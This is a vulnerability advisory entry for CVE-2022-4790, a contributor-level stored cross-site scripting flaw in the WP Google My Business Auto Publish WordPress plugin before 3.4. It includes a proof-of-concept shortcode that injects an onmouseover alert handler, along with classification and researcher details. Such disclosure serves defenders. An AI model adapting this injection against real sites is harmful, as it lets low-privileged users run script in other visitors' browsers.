WordPress Plugin Vulnerabilities

WP Google My Business Auto Publish < 3.4 - Contributor+ Stored XSS via Shortcode

Description

The plugin does not validate and escape one of its shortcode attributes, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attack.

Proof of Concept

Note: First, you need to connect a Google My Business, select Account, and select Location.

Exploit shortcode:

[gmb-review location='accounts/116528705904907295451/locations/18424478508029415538' autoplay="' onmouseover='alert(1)' style='background:red;width:100px;height:100px;'"]

Affects Plugins

Plugin icon
wp-google-my-business-auto-publish
Fixed in 3.4

References

CVE
CVE-2022-4790

Classification

Type
XSS
OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79
CVSS
6.8 (medium)

Miscellaneous

Original Researcher
Lana Codes
Submitter
Lana Codes
Submitter website
https://lana.codes/
Submitter twitter
LanaCodes
Verified
Yes
WPVDB ID
c01f9d36-955d-432c-8a09-ea9ee750f1a1

Timeline

Publicly Published
2022-12-29 (about 1 years ago)
Added
2022-12-29 (about 1 years ago)
Last Updated
2022-12-29 (about 1 years ago)

Other

Published
Title
Published
2023-06-26
Title
TheRoof < 1.0.4 - Unauthenticated Reflected XSS
Published
2023-01-17
Title
Judge.me Product Reviews for WooCommerce < 1.3.21 - Contributor+ Stored XSS
Published
2014-09-27
Title
wp-video-comm&o Plugin - Cross-Site Scripting (XSS)
Published
2023-09-05
Title
Auto Amazon Links < 5.3.2 - Contributor+ Stored XSS
Published
2023-12-27
Title
Pay with Vipps for WooCommerce < 1.14.14 - Authenticated (Contributor+) Stored Cross-Site Scripting